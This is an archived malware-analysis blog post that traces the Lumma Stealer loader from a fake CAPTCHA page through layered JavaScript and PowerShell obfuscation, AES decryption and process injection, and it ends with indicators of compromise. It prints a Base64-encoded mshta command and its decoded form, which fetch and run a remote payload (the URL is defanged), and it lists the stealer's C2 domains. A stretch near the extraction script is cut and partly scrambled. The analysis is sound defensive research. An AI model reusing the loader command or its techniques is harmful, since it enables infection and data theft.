Dissecting Lumma Malware: Analyzing the Fake CAPTCHA and Obfuscation Techniques - Part 2 By Tonmoy Jitu Published: 2024-09-08 · Archived: 2026-04-05 17:21:27 UTC In Part 1 of our series on Lumma Stealer, we explored the initial attack vector through a fake CAPTCHA page. We observed how the malware deceives users into downloading and executing malicious payloads. In this second series, we delve deeper into the technical details of the Lumma Stealer’s loader, focusing on its obfuscation techniques and how it ultimately executes its payload. This analysis will cover how we decode obfuscated JavaScript and PowerShell code, and how we identify and analyze the malicious activities carried out by the malware. Retrieving and Analyzing the Lumma Loader After the initial infection is established through the fake CAPTCHA page, we analyze the Lumma Stealer loader. The loader is delivered via the following URL: hxxps[:]//human-check.b-cdn[.]net/verify-captcha-v7[.]html https://denwp.com/dissecting-lumma-malware/ Page 1 of 20 By analyzing the payload retrieved through mshta , we start by decoding an encoded Base64 string using CyberChef: Encoded Bas64 String: https://denwp.com/dissecting-lumma-malware/ Page 2 of 20 bQBzAGgAdABhACAAIgBoAHQAdABwAHMAOgAvAC8AcABvAGsAbwAuAGIALQBjAGQAbgAuAG4AZQB0AC8AcABvAGsAbwAiAA== Decoded Base64 string: mshta "hxxps[://]poko[.]b-cdn[.]net/poko"" Examining the 'poko' File The poko file downloaded from the URL is analyzed using Detect It Easy (DIE) to identify its properties: File Type: PE file Packer: No signs of packing detected The file, detected as a PE (Portable Executable) file, shows no signs of packing. Since mshta processes HTA (HTML Application) files, we suspect that the downloaded binary may contain embedded JavaScript (JS) or VBScript. We search the binary for ', data, re.DOTALL | re.IGNORECASE) if scripts: for i, script in enumerate(scripts, start=1): print(f"[+] Script {i}\n{script.strip()}\n") else: print("[-] No Script found.") except FileNotFoundError: print(f"[-] File {binary_file} not found.") except Exception as e: print(f"[-] An error occurred: {str(e)}") if __name__ == "__main__": if len(sys.argv) != 2: print("Usage: python extract.py ") sys.exit(1) binary_file = sys.argv[1] extract_scripts(binary_file) Debugging the JavaScript With the JavaScript code dumped, we now focus on deciphering the obfuscation. First obfuscation We can beautify the JavaScript code using an online formatter or CyberChef (Generic Code Beautify). This reveals the obfuscated sections more clearly, showing random variable assignments and functions. https://denwp.com/dissecting-lumma-malware/ Page 8 of 20 After beautifying the code, we observe numerous numbers being assigned to various variables. Further down, we find a variable named PHF . This indicates that PHF holds the code passed to the second script via the eval function. Using console.log() , we print the PHF variable to view another layer of obfuscation. Second Obfuscation Beautification of the next layer of code reveals that the zsi function processes an array of numbers by converting them into characters, which are then concatenated into a string. https://denwp.com/dissecting-lumma-malware/ Page 9 of 20 We pass the final variables, Hkb and ZhX to console.log() to see the decoded data. Third obfuscation After obtaining the data, we see that it includes encoded PowerShell code. This PowerShell script processes several values that appear to be hex data and uses wscript to execute them. The code also shows that it uses AES encryption, with the decryption key hardcoded into it. https://denwp.com/dissecting-lumma-malware/ Page 10 of 20 Decrypting obfuscated code using CyberChef With the main code and the AES decryption key in hand, we can use CyberChef to decrypt it. We input the key as hex into CyberChef and set the initialization vector (IV) value to "0000000000000000" (sixteen zeros). If no IV is provided, it defaults to null. The IV value is set to sixteen zeros because the AES encryption algorithm requires an IV of a specific length to ensure secure encryption and decryption. For AES, the IV must match the block size of the algorithm, which is 128 bits or 16 bytes (16 zeros in hexadecimal representation). Using a fixed IV, such as sixteen zeros, is common in certain situations, especially when the IV is not dynamically generated or when the encryption is designed to be simple or demonstrative. However, in secure practices, it's crucial to use a unique and random IV for each encryption operation to prevent predictable patterns and enhance security. In this context, the fixed IV is used because it was hardcoded into the decryption process, which may simplify the analysis but does not represent best practices for secure encryption. From the CyberChef output, we obtain another PowerShell script. After beautifying the code, we can decipher its functionality. It begins with a function that handles binary data. The EkF function extracts the zip file and saves it to the temp directory. The QyY function obfuscates the URL by hiding characters behind numbers, and it https://denwp.com/dissecting-lumma-malware/ Page 11 of 20 contains the URL for downloading the zip file. The nzv function deobfuscates these numbers into a string. Finally, the YWy function manages error handling with if/else statements, checking if the file exists and downloading the zip file if it does not. De-obfuscating PowerShell code Since the code is in PowerShell, we can use the write-output function to read the values stored in the variables. We copy the nzv function, which handles the decryption of characters, and save the results to separate variables. Running the code reveals a URL, and we also see that it uses the native Windows Net.WebClient to download the file. https://denwp.com/dissecting-lumma-malware/ Page 12 of 20 Downloaded zip file We proceed by downloading and unzipping the file. Upon examining its contents, we find that it attempts to impersonate "Aeon Timeline." hxxps[://]poko[.]b-cdn[.]net/wifi[.]zip By performing static analysis with PEStudio, we gather more information about the file. The version details indicate that the installer is masquerading as a PC Cleaner application. https://denwp.com/dissecting-lumma-malware/ Page 13 of 20 Using DIE, we also confirm that the application has been compiled with Go Language. Dynamic analysis After obtaining the binary, we proceed with dynamic analysis and find that the installer triggers BitLockerToGo upon installation. Our earlier WireShark logs (Part 1) show that BitLockerToGo communicates with the C2 server once it starts. Confirming this behavior, we deduce that the malicious PE file (Aeon Timeline) performs process injection, https://denwp.com/dissecting-lumma-malware/ Page 14 of 20 injecting malicious processes into BitLockerToGo. Dumping injected process To dump the malicious process, we use "Hollows Hunter." Hollows Hunter is a powerful tool used for detecting and analyzing process injection techniques in Windows environments. It specializes in identifying processes that have been injected with malicious code or exhibit suspicious behavior. By scanning running processes, Hollows Hunter can pinpoint injected code and dump it for further analysis. This tool is particularly valuable for uncovering sophisticated malware that hides its presence by injecting into legitimate processes. It provides security analysts with critical insights into malicious activities, helping them to understand and mitigate threats more effectively. We first use Process Explorer to identify the Process ID (PID) of BitLockerToGo and pass it as a parameter to Hollows Hunter. The tool then detects the suspicious process and dumps the file. Lumma C2 After dumping the file, we upload it to VirusTotal, where it is confirmed as Lumma Stealer. Analyzing the file dumped by Hollows Hunter in DIE reveals that it is a Microsoft Linker file, with no signs of any packer being used. https://denwp.com/dissecting-lumma-malware/ Page 15 of 20 As is customary with binary analysis, we search for hardcoded domains within the file. Noting that Lumma Stealer has recently been associated with '.shop.' domains, we use this as a filter and find a match. futureddospzmvq[.]shop We can also use Ghidra's search function to pinpoint the exact function that calls the C2 domain. Summary https://denwp.com/dissecting-lumma-malware/ Page 16 of 20 In this analysis, we thoroughly examined the Lumma Stealer malware's loader and payload, uncovering its intricate obfuscation techniques and malicious activities. By dissecting the initial infection vector through a fake CAPTCHA page and following the trail to the embedded PowerShell scripts, we detailed the steps involved in decoding the obfuscated code and understanding its functionality. Our dynamic analysis revealed that the malware, masquerading as a legitimate application, performs process injection to carry out its malicious operations. Through tools like CyberChef, DIE, and Ghidra, we were able to decrypt, analyze, and identify the core components of the Lumma Stealer. Our findings confirm its operation and provide insights into its behavior and persistence mechanisms. This comprehensive investigation highlights the sophistication of modern malware and underscores the importance of detailed analysis to uncover and understand these threats. IOC File Hash SHA256: fe236cf05365f3fafd7fdf2481cee9b9a5ff087e1ddc5b71fea1bb23b0c306db -> Injected Process SHA256: fbef3b6316cd8cf77978c8eac780fe471654c0b5dbbc812e4e266475bde39dcc -> 0Aeon Timeline.exe =================================================== URL: hxxps[:]//human-check.b-cdn[.]net/verify-captcha-v7[.]html hxxps[://]poko[.]b-cdn[.]net/wifi[.]zip =================================================== C2: bassizcellskz[.]shop celebratioopz[.]shop complaintsipzzx[.]shop deallerospfosu[.]shop futureddospzmvq[.]shop -> Found inside the binary languagedscie[.]shop mennyudosirso[.]shop quialitsuzoxm[.]shop writerospzm[.]shop Reference: How to pick an appropriate IV (Initialization Vector) for AES/CTR/NoPadding? I would like to encrypt the cookies that are written by a webapp and I would like to keep the size of the cookies to minimum, hence the reason I picked AES/CTR/NoPadding. What would you recommend… https://denwp.com/dissecting-lumma-malware/ Page 17 of 20 Stack OverflowDrew GitHub - hasherezade/hollows_hunter: Scans all running processes. Recognizes and dumps a variety of potentially malicious implants (replaced/implanted PEs, shellcodes, hooks, in-memory patches). Scans all running processes. Recognizes and dumps a variety of potentially malicious implants (replaced/implanted PEs, shellcodes, hooks, in-memory patches). - hasherezade/hollows_hunter https://denwp.com/dissecting-lumma-malware/ Page 18 of 20 GitHubhasherezade https://denwp.com/dissecting-lumma-malware/ Page 19 of 20 Source: https://denwp.com/dissecting-lumma-malware/ https://denwp.com/dissecting-lumma-malware/ Page 20 of 20 https://denwp.com/dissecting-lumma-malware/ By filtering for